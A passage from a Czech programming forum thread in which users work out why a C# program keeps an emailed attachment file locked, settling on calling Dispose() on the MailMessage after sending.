ať udělám cokoli, prostě něco pak využívá ten soubor. Nemůže se stát, že to zůstane nějak vyset po tom odeslání emailu? Nebo já už doopravdy nevím :(

Nahoru Odpovědět 29.10.2012 13:40
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Nekdo pres TeamViewer, kdo by se na to zkusil podivat?

Nahoru Odpovědět 29.10.2012 13:47
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

No tak email neodesílej, tohle se dá přeci jednoduše vyzkoušet. Dej pryč vlákna, dej pryč maily, nech jen zápis. Nemá smysl ladit celek, když nefunguje část.

Nahoru Odpovědět  +1 29.10.2012 14:19
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na David Čápka
Mediel:

Super, to me nenapadlo. Dal jsem pryc odesilani emailu se souborem a hle... uz to funguje, takze je tedy jiste, ze si to nejak drzi v pameti to odesilani, ze? Jak ale z toho ven? Jak mu vysvetlit, aby po odeslani ten soubor uvolnil?

Nahoru Odpovědět 29.10.2012 14:24
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Tak, jak to máš napsané, by to neměl být problém, protože by ho měl uvolnit sám. Napadá mě už jen workaround si ten soubor po uložení zkopírovat a odesílat kopii. Můžeš to pro zajímavost zkusit, pokud to zkopíruješ pomocí File.Copy nebo jak to tam je a bude to dělat stejně, vyloučí se úplně chyba na straně zápisu do souboru.

Nahoru Odpovědět 29.10.2012 14:37
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Odpovídá na David Čápka
Mediel:

Tak to jde, ale ta kopie po odeslani nejde smazat :( takze bych tam pak mel tisice souboru....

Nahoru Odpovědět 29.10.2012 14:56
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
Mediel
Redaktor
Avatar
Mediel:

Vyřešeno, po odeslání emailu se musí Uvolnit prostředky používané AttachmentBase. (Zděděno z AttachmentBase.) a to takto:

mail.Dispose();

ukazka v kodu:

ailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;
            mail.Attachments.Add(new Attachment(FilePath));

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
            mail.Dispose(); // uvolní soubor
Nahoru Odpovědět 29.10.2012 15:12
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Divné, měl by to dělat sám po tom, co GC sežere ten objekt. No alespoň, že to konečně funguje :)

Nahoru Odpovědět  +1 29.10.2012 15:14
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Kit
Redaktor
Avatar
Odpovídá na David Čápka
Kit:

GC ho nežere hned, ale až když potřebuje paměť. To bylo v tomto případě pozdě.

Nahoru Odpovědět 29.10.2012 15:23
Vlastnosti objektů by neměly být veřejné. A to ani prostřednictvím getterů/setterů.
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Kit
David Čápka:

Jó, jasně, už to chápu :)

Nahoru Odpovědět 29.10.2012 15:31
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Díky kluci za pomoc :)

Nahoru Odpovědět  +1 29.10.2012 15:35
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

Nemáš zač, jsme rádi za každou konstruktivní diskuzi :) Myslíš, že by ses mohl podělit s nějakou základní verzí toho programu? Tato tématika by mohla být zajímavá i pro ostatní.

Nahoru Odpovědět 29.10.2012 15:58
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Mediel
Redaktor
Avatar
Mediel:

Určitě se rád podělím o základní verzi programu :) Udělám na to asi článek :) Co ty na to?

Nahoru Odpovědět 29.10.2012 15:59
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Mediel
David Čápka:

To by bylo úplně nejlepší :) Dal by se do C# do sekce Pro pokročílé, už se tam množí dost zajímavých věcí.

Nahoru Odpovědět 29.10.2012 16:02
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 67 zpráv z 67.